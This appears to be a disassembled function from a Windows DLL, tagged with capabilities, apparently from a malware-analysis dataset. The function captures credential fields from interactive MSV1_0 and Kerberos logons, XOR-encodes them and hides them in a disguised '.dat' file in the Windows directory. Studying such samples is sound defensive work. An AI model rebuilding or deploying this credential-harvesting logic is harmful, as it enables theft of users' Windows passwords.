Function at 0x180001230
Capabilities:
Encode data using xor
Get common file path
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x950]
sub rsp, 0xa50
mov rdi, r8
mov rbx, rdx
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x800
call sub.ntdll.dll_memset
lea rdx, str.data
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea r11, [rsp + 0x55]
lea r9, [rbp + 0x74e]
lea r8, [rsp + 0x48]
sub r9d, r11d
mov edx, 0xfffffffe
mov rcx, rbx
mov qword [rsp + 0x48], r11
call fcn.180001110
lea rdx, str.MSV1_0:Interactive
lea rcx, [rsp + 0x55]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1800012d0
lea rdx, str.Kerberos:Interactive
lea rcx, [rsp + 0x55]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1800012d0
mov rax, qword [rsp + 0x48]
jmp 0x18000135b
movzx edx, word [rdi + 8]
lea rcx, [rsp + 0x55]
lea r9, [rbp + 0x74e]
mov qword [rsp + 0x48], rcx
sub r9d, ecx
mov rcx, qword [rdi + 0x10]
lea r8, [rsp + 0x48]
call fcn.180001110
mov r11, qword [rsp + 0x48]
lea r9, [rbp + 0x74e]
mov byte [r11], 9
movzx edx, word [rdi + 0x18]
mov rcx, qword [rdi + 0x20]
inc r11
lea r8, [rsp + 0x48]
sub r9d, r11d
mov qword [rsp + 0x48], r11
call fcn.180001110
mov r11, qword [rsp + 0x48]
lea r9, [rbp + 0x74e]
mov byte [r11], 9
movzx edx, word [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
inc r11
lea r8, [rsp + 0x48]
sub r9d, r11d
mov qword [rsp + 0x48], r11
call fcn.180001110
mov rax, qword [rsp + 0x48]
mov byte [rax], 0xa
inc rax
lea rcx, [rsp + 0x50]
xor edi, edi
xor r9d, r9d
sub eax, ecx
mov rcx, qword [section..data]
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800013c5
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov rcx, rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
jmp 0x1800014a9
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x55]
lea rcx, [rsp + 0x50]
add eax, 0xfffffffb
mov r8d, eax
mov dword [rsp + 0x40], eax
call sub.ntdll.dll_memmove
mov r11d, dword [rsp + 0x40]
test r11d, r11d
jle 0x180001419
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r9d, r11d
lea r10, [0x180002108]
nop
mov rax, rdx
inc rcx
inc rdx
and eax, 0x1f
movzx eax, byte [rax + r10]
xor byte [rcx - 1], al
dec r9
jne 0x180001400
lea rcx, [rbp + 0x750]
mov edx, 0x200
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov rdx, qword [str.InstallerF9EE0A32_00D4_E391_8261_3F4F92514BBF.dat]
lea rcx, [rbp + 0x750]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov r9, qword [0x180003060]
mov qword [rsp + 0x30], rdi
lea rcx, [rbp + 0x750]
mov edx, 0x40000000
mov r8d, 3
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800014b2
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0xa50]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret